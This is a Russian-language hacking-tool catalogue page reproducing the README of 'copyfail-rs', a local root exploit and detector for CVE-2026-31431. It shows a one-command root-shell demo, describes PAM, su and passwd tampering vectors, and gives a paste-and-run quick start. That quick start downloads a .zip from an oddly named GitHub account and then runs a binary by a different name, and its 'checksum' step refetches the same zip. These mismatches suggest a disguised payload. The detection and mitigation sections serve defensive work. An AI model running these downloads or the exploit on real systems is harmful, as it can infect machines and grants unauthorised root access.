Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
copyfail-rs — Эксплуатировать и обнаруживать уязвимости CVE-2026-31431 с помощью статического бинарного файла, который мониторит целостность системы и обходит аутентификацию PAM. | Kitploit
Инструменты/GitHubGitHub/liverwortenuresis371/copyfail-rs
Повышение привилегийКриминалистика памятиАнализ уязвимостейЭксплуатацияФорензикаТестирование на ПроникновениеАутентификацияRed TeamingРеагирование на Инциденты

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Эксплуатация Бинарных Файлов
GitHubliverwortenuresis371/copyfail-rs

copyfail-rs

Эксплуатировать и обнаруживать уязвимости CVE-2026-31431 с помощью статического бинарного файла, который мониторит целостность системы и обходит аутентификацию PAM.

Репозиторий
5 дней назадЕщё не проверено

copyfail-rs

Многовекторный PoC + парное обнаружение для CVE-2026-31431 (CopyFail). Включает новый вектор обхода аутентификации PAM, которого нет ни в одном другом публичном PoC. Режим обнаружения ловит то, что AIDE / Wazuh / OSSEC / Tripwire структурно не могут.

Один статический бинарник. ~108 КБ. no_std musl.

Демонстрация

root@kitploit:~
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#

Одна команда. Root-оболочка. PAM-киллшот под капотом (одиночная запись 4 байт в /etc/pam.d/common-auth), PTY-спуск в root через sudo с отбрасываемым паролем. Строка [sudo] password for noot: мелькает на мгновение, sudo всегда выводит это приглашение; бинарник передаёт любую строку, и сбой pam_unix каскадно проходит через закомментированный pam_deny.so к pam_permit.so → root.

root@kitploit:~
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===

TAMPERED (1):
  /etc/pam.d/common-auth [ext4]
    cache:  23c4f1ee...  ← что на самом деле загружено (изменено)
    disk:   117dab1c...  ← что видят AIDE / Wazuh / Tripwire (чисто)

Вот проект. Диск чист, кэш изменён. Каждый публичный FIM слеп. Этот инструмент — нет.

Быстрый старт (без сборки)

Предварительно собранные статические бинарники доступны в релизе v0.1.0. Выберите архитектуру, загрузите, запустите.

root@kitploit:~
# x86_64 (большинство ноутбуков + облачные серверы)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit

Другие архитектуры:

АрхитектураФайл
ARM64 (aarch64)copyfail-aarch64-musl
ARMv7 (Raspberry Pi 3+)copyfail-armv7-musleabihf

Проверка целостности:

root@kitploit:~
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt

Статические musl-бинарники, без зависимостей времени выполнения, устанавливается на любом Linux.

Почему FIM слеп

Мутация кэша страниц. Никакой VFS-записи. Никакой грязной страницы. Никакого события inotify. Периодическое повторное сканирование состязается с вытеснением.

AIDE/Wazuh/OSSEC/Tripwire/Samhain читают через буферизированный ввод-вывод → кэш страниц → хешируют изменённые байты как истину. Или после вытеснения хешируют чистый диск → «изменений никогда не было».

Обнаружение требует O_DIRECT (пропустить кэш) + буферизированное чтение (попасть в кэш) + разница хешей. Несовпадение = сигнатура CopyFail. Это --scan.

Векторы

Автовыбор: --vector auto (по умолчанию). Ранжирование: pam > su > passwd по скрытности. Откат при неудаче.

Обнаружение

--json везде для приёма SIEM.

Артефакты обнаружения

detection/:

  • sigma/copyfail-af-alg.yml, правило Sigma, добавьте в ваш SIEM
  • auditd/copyfail.rules, augenrules --load
  • ebpf/copyfail-trace.bt, однострочник bpftrace
  • apparmor/copyfail-block.profile, правило запрета AppArmor 3.0+
  • mitigation/disable-algif.sh, чёрный список modprobe + предупреждение =y

Смягчение

root@kitploit:~
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead

Или основной патч ядра a664bf3d603d (апрель 2026). На данный момент: только Debian Sid/Forky поставляют исправление. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle — все уязвимы.

Предостережение: CONFIG_CRYPTO_USER_API_AEAD=y (встроенный) молча обходит modprobe. --check предупреждает.

После эксплуатации и смягчения: мутация кэша сохраняется до перезагрузки. Смягчение блокирует НОВЫЕ эксплойты, не отменяет прошлые.

Сборка

root@kitploit:~
cargo build --release --target x86_64-unknown-linux-musl
ЦельРазмер
x86_64-musl108 КБ
aarch64-musl96 КБ
armv7-musleabihf86 КБ

no_std. Без аллокатора. Без зависимостей времени выполнения. Один статический бинарник.

Предварительно собранные артефакты и SHA256-суммы прикреплены к GitHub-релизам.

Использование

См. docs/usage.md для конкретных одностраничных примеров по каждому режиму (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).

Для более развёрнутой версии этого README (больше контекста, глубже изложение) см. BLOG.md.

Модель угроз

См. docs/threat-model.md.

Сравнение

Авторизация и этика

Только собственное оборудование. Никакого CLI-шлюза (театр безопасности). README + LICENSE = рамки.

Режим обнаружения только для чтения. Безопасен на проде.

Режим эксплуатации мутирует кэш страниц ядра. Только в RAM, но относитесь как к разрушительному. Блокирует аутентификацию для любого последующего вызывающего.

Благодарности

CVE-2026-31431 раскрыта Theori / Xint 29 апреля 2026 (статья, блог Xint). Предыдущие публичные PoC:

  • theori-io/copy-fail-CVE-2026-31431 (Python, 732 байта, вектор su)
  • tgies/copy-fail-c (C с nolibc, векторы su + passwd, переносимый)
  • badsectorlabs/copyfail-go (статический Go-бинарник, вектор su)

Этот проект (copyfail-rs): добавляет вектор обхода аутентификации PAM, двухрежимное обнаружение, артефакты для IR.

Лицензия

MIT.

Ссылки

  • https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
  • Исправление Linux: a664bf3d603d
  • Нижняя граница: 72548b093ee3 (4.14, август 2017)
  • Аналог: Dirty Pipe (CVE-2022-0847)
Скачать инструмент
ВекторЦельКуда попадает
pam (НОВЫЙ)/etc/pam.d/common-auth (Debian/Ubuntu) или system-auth (Fedora/RHEL/Arch)4 байта. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo с любым паролем = root.
su/usr/bin/suМутация текста setuid-бинарника. execve → root.
passwd/etc/passwdСмена UID → пользователь становится root при следующем входе. Ломает SSH для этого пользователя.
РежимЧто делает
--checkЯдро + модуль + CONFIG_CRYPTO_USER_API_AEAD + статус смягчения. Вердикт: уязвим / смягчён / безопасен.
--scanРазница O_DIRECT против буферизированного чтения критических файлов. Ветвление через statfs(): ext4/xfs/btrfs используют O_DIRECT, overlayfs откатывается, tmpfs пропускается.
--baseline / --diffСнимок заведомо чистого состояния. Сравнение позже. Дельты только кэша = отпечаток CopyFail.
--watchДемон. Периодическое сканирование. Чистое завершение по SIGTERM.
--huntОбход SSH-фермы. Агрегаты JSON.
Theori Pythontgies Cbadsectorlabs Gocopyfail-rs
Векторыsusu + passwdsusu + passwd + PAM (новый)
Обнаружениенетнетнетполный --mode detect
Артефакты для IRнетнетнетSigma + auditd + eBPF + AppArmor
UX оператора3 команды4 команды5 команд1 команда
Бинарниктребует Python~10 КБ~5 МБ~108 КБ статический